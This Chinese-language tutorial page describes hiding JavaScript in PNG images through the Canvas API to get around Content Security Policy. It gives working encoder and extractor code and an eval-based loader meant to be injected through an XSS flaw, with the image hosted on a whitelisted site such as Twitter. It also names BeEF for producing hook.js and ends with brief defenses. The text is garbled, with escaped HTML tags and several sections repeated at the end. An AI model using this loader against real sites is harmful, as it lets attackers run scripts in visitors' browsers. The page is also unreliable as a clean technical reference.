利用PNG图像隐藏JavaScript绕过CSP的教学文档<\/h1>

技术概述<\/h2>
本技术利用HTML Canvas API将JavaScript代码编码到PNG图像中，然后通过受信任的第三方平台(如Twitter)托管该图像，最终通过XSS漏洞从图像中提取并执行隐藏的JavaScript代码，从而绕过内容安全策略(CSP)的限制。<\/p>

核心原理<\/h2>

Canvas图像编码<\/strong>：使用CanvasRenderingContext2D.putImageData()<\/code>方法将JavaScript代码转换为图像数据<\/li>
数据隐藏<\/strong>：将每个字符的Unicode值存储在图像的RGB通道中<\/li>
数据提取<\/strong>：使用CanvasRenderingContext2D.getImageData()<\/code>方法从图像中提取隐藏的代码<\/li>

CSP绕过<\/strong>：利用受信任的第三方平台(如Twitter)托管恶意图像，利用其CSP白名单权限<\/li> <\/ol> 详细实现步骤<\/h2> 1. 将JavaScript代码编码为PNG图像<\/h3> (function<\/span>() { <\/span><\/span> function<\/span> encode<\/span>(a<\/span>) { <\/span><\/span> if<\/span> (a<\/span>.length<\/span>) { <\/span><\/span> var<\/span> c<\/span> =<\/span> a<\/span>.length<\/span>, <\/span><\/span> e<\/span> =<\/span> Math.ceil<\/span>(Math.sqrt<\/span>(c<\/span> \/<\/span> 3<\/span>)), <\/span><\/span> f<\/span> =<\/span> e<\/span>, <\/span><\/span> g<\/span> =<\/span> document.createElement<\/span>("canvas"<\/span>), <\/span><\/span> h<\/span> =<\/span> g<\/span>.getContext<\/span>("2d"<\/span>); <\/span><\/span> g<\/span>.width<\/span> =<\/span> e<\/span>, g<\/span>.height<\/span> =<\/span> f<\/span>; <\/span><\/span> var<\/span> j<\/span> =<\/span> h<\/span>.getImageData<\/span>(0<\/span>, 0<\/span>, e<\/span>, f<\/span>), <\/span><\/span> k<\/span> =<\/span> j<\/span>.data<\/span>, <\/span><\/span> l<\/span> =<\/span> 0<\/span>; <\/span><\/span> for<\/span> (var<\/span> m<\/span> =<\/span> 0<\/span>; m<\/span> <<\/span> f<\/span>; m<\/span>++<\/span>) <\/span><\/span> for<\/span> (var<\/span> n<\/span> =<\/span> 0<\/span>; n<\/span> <<\/span> e<\/span>; n<\/span>++<\/span>) { <\/span><\/span> var<\/span> o<\/span> =<\/span> 4<\/span> *<\/span> (m<\/span> *<\/span> e<\/span>) +<\/span> 4<\/span> *<\/span> n<\/span>, <\/span><\/span> p<\/span> =<\/span> a<\/span>[l<\/span>++<\/span>], <\/span><\/span> q<\/span> =<\/span> a<\/span>[l<\/span>++<\/span>], <\/span><\/span> r<\/span> =<\/span> a<\/span>[l<\/span>++<\/span>]; <\/span><\/span> (p<\/span> ||<\/span> q<\/span> ||<\/span> r<\/span>) &&<\/span> (p<\/span> &&<\/span> (k<\/span>[o<\/span>] =<\/span> ord<\/span>(p<\/span>)), q<\/span> &&<\/span> (k<\/span>[o<\/span> +<\/span> 1<\/span>] =<\/span> ord<\/span>(q<\/span>)), r<\/span> &&<\/span> (k<\/span>[o<\/span> +<\/span> 2<\/span>] =<\/span> ord<\/span>(r<\/span>)), k<\/span>[o<\/span> +<\/span> 3<\/span>] =<\/span> 255<\/span>) <\/span><\/span> } <\/span><\/span> return<\/span> h<\/span>.putImageData<\/span>(j<\/span>, 0<\/span>, 0<\/span>), h<\/span>.canvas<\/span>.toDataURL<\/span>() <\/span><\/span> } <\/span><\/span> } <\/span><\/span> var<\/span> ord<\/span> =<\/span> function<\/span> ord<\/span>(a<\/span>) { <\/span><\/span> var<\/span> c<\/span> =<\/span> a<\/span> +<\/span> ""<\/span>, <\/span><\/span> e<\/span> =<\/span> c<\/span>.charCodeAt<\/span>(0<\/span>); <\/span><\/span> if<\/span> (55296<\/span> <=<\/span> e<\/span> &&<\/span> 56319<\/span> >=<\/span> e<\/span>) { <\/span><\/span> if<\/span> (1<\/span> ===<\/span> c<\/span>.length<\/span>) return<\/span> e<\/span>; <\/span><\/span> var<\/span> f<\/span> =<\/span> c<\/span>.charCodeAt<\/span>(1<\/span>); <\/span><\/span> return<\/span> 1024<\/span> *<\/span> (e<\/span> -<\/span> 55296<\/span>) +<\/span> (f<\/span> -<\/span> 56320<\/span>) +<\/span> 65536<\/span> <\/span><\/span> } <\/span><\/span> return<\/span> 56320<\/span> <=<\/span> e<\/span> &&<\/span> 57343<\/span> >=<\/span> e<\/span> ?<\/span> e<\/span> :<\/span> e<\/span> <\/span><\/span> }, <\/span><\/span> d<\/span> =<\/span> document, <\/span><\/span> b<\/span> =<\/span> d<\/span>.body<\/span>, <\/span><\/span> img<\/span> =<\/span> new<\/span> Image<\/span>; <\/span><\/span> var<\/span> stringenc<\/span> =<\/span> "Hello, World!"<\/span>; <\/span><\/span> img<\/span>.src<\/span> =<\/span> encode<\/span>(stringenc<\/span>), b<\/span>.innerHTML<\/span> =<\/span> ""<\/span>, b<\/span>.appendChild<\/span>(img<\/span>) <\/span><\/span>})(); <\/span><\/span><\/code><\/pre>2. 从PNG图像中提取JavaScript代码<\/h3> t<\/span> =<\/span> document.getElementsByTagName<\/span>("img"<\/span>)[0<\/span>]; <\/span><\/span>var<\/span> s<\/span> =<\/span> String.fromCharCode<\/span>, c<\/span> =<\/span> document.createElement<\/span>("canvas"<\/span>); <\/span><\/span>var<\/span> cs<\/span> =<\/span> c<\/span>.style<\/span>, <\/span><\/span> cx<\/span> =<\/span> c<\/span>.getContext<\/span>("2d"<\/span>), <\/span><\/span> w<\/span> =<\/span> t<\/span>.offsetWidth<\/span>, <\/span><\/span> h<\/span> =<\/span> t<\/span>.offsetHeight<\/span>; <\/span><\/span>c<\/span>.width<\/span> =<\/span> w<\/span>; <\/span><\/span>c<\/span>.height<\/span> =<\/span> h<\/span>; <\/span><\/span>cs<\/span>.width<\/span> =<\/span> w<\/span> +<\/span> "px"<\/span>; <\/span><\/span>cs<\/span>.height<\/span> =<\/span> h<\/span> +<\/span> "px"<\/span>; <\/span><\/span>cx<\/span>.drawImage<\/span>(t<\/span>, 0<\/span>, 0<\/span>); <\/span><\/span>var<\/span> x<\/span> =<\/span> cx<\/span>.getImageData<\/span>(0<\/span>, 0<\/span>, w<\/span>, h<\/span>).data<\/span>; <\/span><\/span>var<\/span> a<\/span> =<\/span> ""<\/span>, <\/span><\/span> l<\/span> =<\/span> x<\/span>.length<\/span>, <\/span><\/span> p<\/span> =<\/span> -<\/span>1<\/span>; <\/span><\/span>for<\/span> (var<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> l<\/span>; i<\/span> +=<\/span> 4<\/span>) { <\/span><\/span> if<\/span> (x<\/span>[i<\/span> +<\/span> 0<\/span>]) a<\/span> +=<\/span> s<\/span>(x<\/span>[i<\/span> +<\/span> 0<\/span>]); <\/span><\/span> if<\/span> (x<\/span>[i<\/span> +<\/span> 1<\/span>]) a<\/span> +=<\/span> s<\/span>(x<\/span>[i<\/span> +<\/span> 1<\/span>]); <\/span><\/span> if<\/span> (x<\/span>[i<\/span> +<\/span> 2<\/span>]) a<\/span> +=<\/span> s<\/span>(x<\/span>[i<\/span> +<\/span> 2<\/span>]); <\/span><\/span>} <\/span><\/span>console<\/span>.log<\/span>(a<\/span>); <\/span><\/span>document.getElementsByTagName<\/span>("body"<\/span>)[0<\/span>].innerHTML<\/span>=<\/span>a<\/span>; <\/span><\/span><\/code><\/pre>3. 上传图像到受信任平台<\/h3> 将生成的PNG图像上传到Twitter或其他CSP白名单中的平台<\/li> 注意Twitter对图像大小有最小限制，可能需要添加填充内容<\/li> <\/ol> 4. 利用XSS漏洞执行隐藏代码<\/h3> t<\/span> =<\/span> document.getElementById<\/span>("jsimg"<\/span>); <\/span><\/span>var<\/span> s<\/span> =<\/span> String.fromCharCode<\/span>, c<\/span> =<\/span> document.createElement<\/span>("canvas"<\/span>); <\/span><\/span>var<\/span> cs<\/span> =<\/span> c<\/span>.style<\/span>, <\/span><\/span> cx<\/span> =<\/span> c<\/span>.getContext<\/span>("2d"<\/span>), <\/span><\/span> w<\/span> =<\/span> t<\/span>.offsetWidth<\/span>, <\/span><\/span> h<\/span> =<\/span> t<\/span>.offsetHeight<\/span>; <\/span><\/span>c<\/span>.width<\/span> =<\/span> w<\/span>; <\/span><\/span>c<\/span>.height<\/span> =<\/span> h<\/span>; <\/span><\/span>cs<\/span>.width<\/span> =<\/span> w<\/span> +<\/span> "px"<\/span>; <\/span><\/span>cs<\/span>.height<\/span> =<\/span> h<\/span> +<\/span> "px"<\/span>; <\/span><\/span>cx<\/span>.drawImage<\/span>(t<\/span>, 0<\/span>, 0<\/span>); <\/span><\/span>var<\/span> x<\/span> =<\/span> cx<\/span>.getImageData<\/span>(0<\/span>, 0<\/span>, w<\/span>, h<\/span>).data<\/span>; <\/span><\/span>var<\/span> a<\/span> =<\/span> ""<\/span>, <\/span><\/span> l<\/span> =<\/span> x<\/span>.length<\/span>, <\/span><\/span> p<\/span> =<\/span> -<\/span>1<\/span>; <\/span><\/span>for<\/span> (var<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> l<\/span>; i<\/span> +=<\/span> 4<\/span>) { <\/span><\/span> if<\/span> (x<\/span>[i<\/span> +<\/span> 0<\/span>]) a<\/span> +=<\/span> s<\/span>(x<\/span>[i<\/span> +<\/span> 0<\/span>]); <\/span><\/span> if<\/span> (x<\/span>[i<\/span> +<\/span> 1<\/span>]) a<\/span> +=<\/span> s<\/span>(x<\/span>[i<\/span> +<\/span> 1<\/span>]); <\/span><\/span> if<\/span> (x<\/span>[i<\/span> +<\/span> 2<\/span>]) a<\/span> +=<\/span> s<\/span>(x<\/span>[i<\/span> +<\/span> 2<\/span>]); <\/span><\/span>} <\/span><\/span>eval(a<\/span>) <\/span><\/span><\/code><\/pre>5. 处理跨域问题<\/h3> 由于浏览器安全限制，需要为图像元素添加crossorigin="anonymous"<\/code>属性，并且服务器必须返回Access-Control-Allow-Origin: *<\/code>头。<\/p> 实际攻击示例<\/h2> 找到存在XSS漏洞的网站，其CSP配置允许Twitter等受信任域<\/li> 将恶意JavaScript编码为PNG图像并上传到Twitter<\/li> 构造XSS payload，注入以下代码：<\/li> <\/ol> <\/span><\/span><\/code><\/pre>防御措施<\/h2> 严格CSP配置<\/strong>：<\/p> 避免使用通配符(*)或过于宽松的域白名单<\/li> 避免使用unsafe-inline<\/code>和unsafe-eval<\/code><\/li> 使用nonce或hash来限制内联脚本<\/li> <\/ul> <\/li> 输入验证<\/strong>：<\/p> 对所有用户输入进行严格过滤和转义<\/li> 特别注意HTML属性注入<\/li> <\/ul> <\/li> 服务器配置<\/strong>：<\/p> 谨慎设置CORS头<\/li> 对用户上传内容进行严格审查<\/li> <\/ul> <\/li> 内容审查<\/strong>：<\/p> 监控和限制canvas API的使用<\/li> 检测异常的图像处理行为<\/li> <\/ul> <\/li> <\/ol> 工具与参考<\/h2> CSP评估工具<\/a> - 检查CSP配置安全性<\/li> BeEF框架 - 可用于生成恶意hook.js<\/li> Canvas API文档： getImageData<\/a><\/li> putImageData<\/a><\/li> CORS enabled image<\/a><\/li> crossorigin属性<\/a><\/li> <\/ul> <\/li> <\/ol> 总结<\/h2> 这种技术利用了现代Web平台的多项特性组合，展示了即使有CSP保护，攻击者仍可能通过巧妙的方式绕过安全限制。防御此类攻击需要多层次的安全措施，包括严格的CSP配置、输入验证和内容监控。<\/p>

利用PNG图像隐藏JavaScript绕过CSP的教学文档<\/h1>

技术概述<\/h2> 本技术利用HTML Canvas API将JavaScript代码编码到PNG图像中，然后通过受信任的第三方平台(如Twitter)托管该图像，最终通过XSS漏洞从图像中提取并执行隐藏的JavaScript代码，从而绕过内容安全策略(CSP)的限制。<\/p>

详细实现步骤<\/h2>

5. 处理跨域问题<\/h3> 由于浏览器安全限制，需要为图像元素添加crossorigin="anonymous"<\/code>属性，并且服务器必须返回Access-Control-Allow-Origin: *<\/code>头。<\/p>

总结<\/h2> 这种技术利用了现代Web平台的多项特性组合，展示了即使有CSP保护，攻击者仍可能通过巧妙的方式绕过安全限制。防御此类攻击需要多层次的安全措施，包括严格的CSP配置、输入验证和内容监控。<\/p>

技术概述<\/h2>
本技术利用HTML Canvas API将JavaScript代码编码到PNG图像中，然后通过受信任的第三方平台(如Twitter)托管该图像，最终通过XSS漏洞从图像中提取并执行隐藏的JavaScript代码，从而绕过内容安全策略(CSP)的限制。<\/p>

5. 处理跨域问题<\/h3>
由于浏览器安全限制，需要为图像元素添加`crossorigin="anonymous"<\/code>属性，并且服务器必须返回Access-Control-Allow-Origin: *<\/code>头。<\/p>`

总结<\/h2>
这种技术利用了现代Web平台的多项特性组合，展示了即使有CSP保护，攻击者仍可能通过巧妙的方式绕过安全限制。防御此类攻击需要多层次的安全措施，包括严格的CSP配置、输入验证和内容监控。<\/p>